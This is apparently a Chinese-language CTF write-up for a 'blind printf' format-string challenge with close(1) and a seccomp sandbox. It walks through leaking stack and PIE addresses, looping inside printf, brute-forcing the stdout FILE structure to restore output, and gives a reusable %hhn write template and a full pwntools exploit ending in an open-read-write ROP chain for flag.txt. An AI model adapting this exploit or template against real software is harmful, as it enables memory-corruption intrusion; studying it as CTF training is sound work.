0%

print盲打印+格式化漏洞模板

one 复现

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=8024ac0d4b0ace622bc53363057c78623d729080, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
  • 有沙盒

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[2056]; // [rsp+0h] [rbp-810h] BYREF
unsigned __int64 v5; // [rsp+808h] [rbp-8h]

v5 = __readfsqword(0x28u);
init();
memset(s, 0, 0x800uLL);
printf("gift:%p\n", s);
login();
puts("Now, you can't see anything!!!");
close(1);
read(0, s, 0x200uLL);
printf(s); /* fmt */
return 0;
}
  • 白给 stack_base
  • 明显的格式化字符串漏洞,但是 close(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 login()
{
char name[16]; // [rsp+0h] [rbp-30h] BYREF
char password[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(name, 0, 8uLL);
memset(password, 0, 8uLL);
printf("username:");
read(0, name, 8uLL);
printf("password:");
read(0, password, 8uLL);
printf("Hello %s\n", name);
return __readfsqword(0x28u) ^ v3;
}
  • 写满 name 可以泄露 pro_base,绕过 PIE

入侵思路

我们先介绍一个 pwntools 工具:

1
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
  • 第一个参数表示格式化字符串的偏移
  • 第二个参数表示需要利用 %n 写入的数据,采用字典形式
    • 将 printf 的 GOT 数据改为 system 函数地址
    • 写法为:{printfGOT:systemAddress}
  • 第三个参数表示已经输出的字符个数
  • 第四个参数表示写入方式
    • 是按字节(byte->hhn)双字节(short->hn)还是四字节(int->n)
    • 默认值是 byte,即按 hhn 写
  • fmtstr_payload 函数返回的就是 payload

我们断点到 printf 执行处:

1
2
3
0x562c1b0674b9    call   printf@plt                <printf@plt>
format: 0x7fff2a2d31c0 ◂— 'aaaaaaaa'
vararg: 0x7fff2a2d31c0 ◂— 'aaaaaaaa'
1
2
3
4
5
6
7
8
100:08000x7fff2a2d39c0 —▸ 0x7fff2a2d3ac0 ◂— 0x1
101:08080x7fff2a2d39c8 ◂— 0xcf2ec36e5e9ffe00
102:0810│ rbp 0x7fff2a2d39d0 ◂— 0x0
103:08180x7fff2a2d39d8 —▸ 0x7f9168f2f083 (__libc_start_main+243) ◂— mov edi, eax
104:08200x7fff2a2d39e0 —▸ 0x7f9169164620 (_rtld_global_ro) ◂— 0x50f2700000000
105:08280x7fff2a2d39e8 —▸ 0x7fff2a2d3ac8 —▸ 0x7fff2a2d5317 ◂— 0x4244006e77702f2e /* './pwn' */
106:08300x7fff2a2d39f0 ◂— 0x100000000
107:08380x7fff2a2d39f8 —▸ 0x562c1b06740b ◂— endbr64
  • 如果这里直接覆盖 __libc_start_main+243 的话,会导致程序的栈帧出问题,并且没有什么用(因为每次覆盖都需要一次 fmt,程序循环后又必须要 fmt 才能继续循环)
  • 于是我们瞄准 printf 的内部进行覆盖

printf 中,真正执行 “%n” 覆盖的函数是 buffered_vfprintf,调用链如下:

1
printf -> __vfprintf_internal -> buffered_vfprintf
  • 如果我们利用 buffered_vfprintf 来覆盖 __vfprintf_internal 的返回地址为 start_addr,就可以在 printf 函数内部实现循环
  • 我们可以利用 printf 间接任意写来覆盖这里

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
r.recvuntil(":")
stack=int(r.recvline(),16)
success("stack: "+hex(stack))

r.recvuntil(":")
r.send("a"*0x8)
r.recvuntil(":")
r.send("a"*0x8)

r.recvuntil("a"*0x8)
pie=u64(r.recvuntil("\n",drop=True)+p16(0))-0x11a0
success("pie: "+hex(pie))

r.recvline()
r.send(fmtstr_payload(6, {stack-0xe8:pie+0x11a0}).ljust(0x200,"\x00")) # 因为64位程序前6个参数在寄存器中,所以offset设置为'6'
  • GDB 跟踪:
1
2
3
4
5
0x7f66e4605d1f <__vfprintf_internal+1215>    call   buffered_vfprintf                <buffered_vfprintf>
rdi: 0x7f66e477c6a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
rsi: 0x7ffe04f611d0 ◂— 0x3531256330363125 ('%160c%15')
rdx: 0x7ffe04f610f0 ◂— 0x3000000008
rcx: 0x0
  • 修改前:(__vfprintf_internal 的返回地址)
1
2
pwndbg> telescope 0x7ffe04f611d0-0xe8
00:00000x7ffe04f610e8 —▸ 0x7f66e45f0d3f (printf+175) ◂— mov rcx, qword ptr [rsp + 0x18
  • 修改后:(覆盖为 main_addr)
1
2
pwndbg> telescope 0x7ffe04f611d0-0xe8
00:00000x7ffe04f610e8 —▸ 0x55669931c1a0 ◂— endbr64

因为程序会 close(1),所以不能直接用 printf(%p) 来泄露 libc_base,但是在我们用 main 覆盖 __vfprintf_internal 的返回地址后,其参数 _IO_2_1_stdout_ 指针残留在栈上(如果我们直接覆盖 main 的返回地址,就没有这样的效果)

我们可以利用这个指针修改 _IO_2_1_stdout_->fileno 为 “2” 重新获得输出,然后 ORW

1
2
3
4
5
6
7
8
9
10
pwndbg> telescope 0x7f0e2d3056a0
00:00000x7f0e2d3056a0 (_IO_2_1_stdout_) ◂— 0xfbad28a7
01:00080x7f0e2d3056a8 (_IO_2_1_stdout_+8) —▸ 0x7f0e2d305723 (_IO_2_1_stdout_+131) ◂— 0x3067e0000000000a /* '\n' */
... ↓ 6 skipped
08:00400x7f0e2d3056e0 (_IO_2_1_stdout_+64) —▸ 0x7f0e2d305724 (_IO_2_1_stdout_+132) ◂— 0x2d3067e000000000
09:00480x7f0e2d3056e8 (_IO_2_1_stdout_+72) ◂— 0x0
... ↓ 3 skipped
0d:00680x7f0e2d305708 (_IO_2_1_stdout_+104) —▸ 0x7f0e2d304980 (_IO_2_1_stdin_) ◂— 0xfbad208b
0e:00700x7f0e2d305710 (_IO_2_1_stdout_+112) ◂— 0x1 /* target */
0f:00780x7f0e2d305718 (_IO_2_1_stdout_+120) ◂— 0xffffffffffffffff
  • 我们需要先把 _IO_2_1_stdout_ 修改为 _IO_2_1_stdout_+112 然后再改 fileno
  • 注意:_IO_2_1_stdout_+112 的倒数第2字节需要爆破,每次都有 1/16 的概率

因为我们只覆盖最后4字节,所以 fmtstr_payload 不能使用,不过我在这里给出一个专门覆盖低4字节的 fmt 模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
bit=random.randint(1,15)*0x10+"[offset]"
print(hex(bit))
if (bit-0x10<0):
bit=bit+0xf0
off=["[last]",bit+"(1)"]
ptr=["[stack]","[stack+1]"]

pre=0
fmt=""
data=""
for i in ptr:
print(hex(i))

for step in range(2):
min_num=0xFFFF
for i in range (len(off)):
if (off[i]<min_num):
min_num=off[i]
min_idx=i
fmt+="%"+str(min_num-pre)+"c%"+str(step+"[index]")+"$hhn"
data+=p64(ptr[min_idx])
off[min_idx]=0xFF
pre=min_num

payload = fmt.ljust(0x80,"\x00")+data
  • [last]:目标地址的最后1字节
  • [offset]:目标地址的倒数第2字节的偏移(bit为倒数第2字节,并且需要爆破)
  • [stack]:位于 stack 上的指针,指向将要被修改的地址(间接修改)
  • [index]:格式化字符串的偏移(可以用 fmtarg 命令快速获取)

由于程序需要在覆盖 _IO_2_1_stdout_ 最后两字节的同时,修改 main 的返回地址为 main,所以对这个模板做了些改动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
start=pie+0x11a0
bit=random.randint(1,15)*0x10+0x6
print(hex(bit))
if (bit-0x10<0):
bit=bit+0xf0
off=[0x10,bit+1]
ptr=[stack-0x80,stack-0x7F]

tmp=start
for i in range(6):
off.append(tmp%0x100)
ptr.append(stack-0x1c8+i)
tmp=tmp//0x100

pre=0
fmt=""
data=""
for i in ptr:
print(hex(i))

for step in range(8):
min_num=0xFFFF
for i in range (len(off)):
if (off[i]<min_num):
min_num=off[i]
min_idx=i
fmt+="%"+str(min_num-pre)+"c%"+str(step+22)+"$hhn"
data+=p64(ptr[min_idx])
off[min_idx]=0xFF
pre=min_num

r.send((fmt.ljust(0x80,"\x00")+data).ljust(0x200,"\x00"))

当 1/16 的概率爆破成功后,下一次循环的 fmt 就可以修改 _IO_2_1_stdout_->fileno 为 “2”,然后用 “%p” 就可以泄露出 libc_base

最后就可以通过 buffered_vfprintf 覆盖 printf 的返回地址,把一个特殊的 getget 写入:

1
add rsp,0x98; ret;  
  • 看看 printf 返回时的 stack 空间:
1
2
*RSP  0x7ffdb7a886f8 —▸ 0x7fb53b3e2242 (__libc_check_standard_fds+82) ◂— add    rsp, 0x98
*RIP 0x7fb53b41fd56 (printf+198) ◂— ret
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7ffdb7a88700+0x98
00:00000x7ffdb7a88798 —▸ 0x5591eb4c0543 ◂— pop rdi
01:00080x7ffdb7a887a0 —▸ 0x7ffdb7a88780 ◂— 'flag.txt'
02:00100x7ffdb7a887a8 —▸ 0x7fb53b3e401f (__gconv_close_transform+239) ◂— pop rsi
03:00180x7ffdb7a887b0 ◂— 0x0
04:00200x7ffdb7a887b8 —▸ 0x7fb53b4cbce0 (open64) ◂— endbr64
05:00280x7ffdb7a887c0 —▸ 0x5591eb4c0543 ◂— pop rdi
06:00300x7ffdb7a887c8 ◂— 0x1
07:00380x7ffdb7a887d0 —▸ 0x7fb53b3e401f (__gconv_close_transform+239) ◂— pop rsi
  • 汇编指令 add rsp,0x98; ret; 完美衔接了 ORW 的 ROP 链

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import*
import random

cmd = "b *$rebase(0x14B9)\n"

def pwn():
r=process('./pwn')
context(os="linux",arch="amd64")

libc=ELF("./libc-2.31.so")
elf=ELF('./pwn')

r.recvuntil(":")
stack=int(r.recvline(),16)
success("stack: "+hex(stack))

r.recvuntil(":")
r.send("a"*0x8)
r.recvuntil(":")
r.send("a"*0x8)

r.recvuntil("a"*0x8)
pro_base=u64(r.recvuntil("\n",drop=True)+p16(0))-0x11a0
success("pro_base: "+hex(pro_base))

r.recvline()
r.send(fmtstr_payload(6, {stack-0xe8:pro_base+0x11a0}).ljust(0x200,"\x00"))
r.send("a"*0x8)
r.send("a"*0x8)

start=pro_base+0x11a0
bit=random.randint(1,15)*0x10+0x6
print(hex(bit))
if (bit-0x10<0):
bit=bit+0xf0
off=[0x10,bit+1]
ptr=[stack-0x80,stack-0x7F]

tmp=start
for i in range(6):
off.append(tmp%0x100)
ptr.append(stack-0x1c8+i)
tmp=tmp//0x100

pre=0
fmt=""
data=""
for i in ptr:
print(hex(i))
for step in range(8):
min_num=0xFFFF
for i in range (len(off)):
if (off[i]<min_num):
min_num=off[i]
min_idx=i
fmt+="%"+str(min_num-pre)+"c%"+str(step+22)+"$hhn"
data+=p64(ptr[min_idx])
off[min_idx]=0xFF
pre=min_num

r.send((fmt.ljust(0x80,"\x00")+data).ljust(0x200,"\x00"))
r.send("a"*0x8)
r.send("a"*0x8)
r.send("%2c%334$hhn;%334$p".ljust(0x18)+fmtstr_payload(9, {stack-0x2a8:pro_base+0x11a0}, numbwritten=0x17))

r.recvuntil(";")
libc_base=int(r.recv(14),16)-libc.sym["_IO_2_1_stdout_"]-112
success("libc_base: "+hex(libc_base))

#gdb.attach(r,cmd)
add_rsp=libc_base+0x24242
pop_rax=libc_base+0x36174
pop_rdi=pro_base+0x1543
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x142c92
open_libc=libc_base+libc.sym["open"]
read_libc=libc_base+libc.sym["read"]
write_libc=libc_base+libc.sym["write"]
bss = pro_base+elf.bss()
payload=p64(pop_rdi)+p64(stack-0xb20)+p64(pop_rsi)+p64(0)+p64(open_libc)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)
payload+=p64(bss)+p64(pop_rdx)+p64(0x50)+p64(read_libc)
payload+=p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(bss)+p64(write_libc)

r.send("a"*0x8)
r.send("a"*0x8)
r.recvline()
r.recvline()
r.send(fmtstr_payload(6, {stack-0xba8:add_rsp}).ljust(0x80,"\x00")+"flag.txt".ljust(0x18,"\x00")+payload)
r.interactive()

while(True):
try:
pwn()
except:
success("wrong")

小结:

第一次接触这种 printf 盲打印,学到了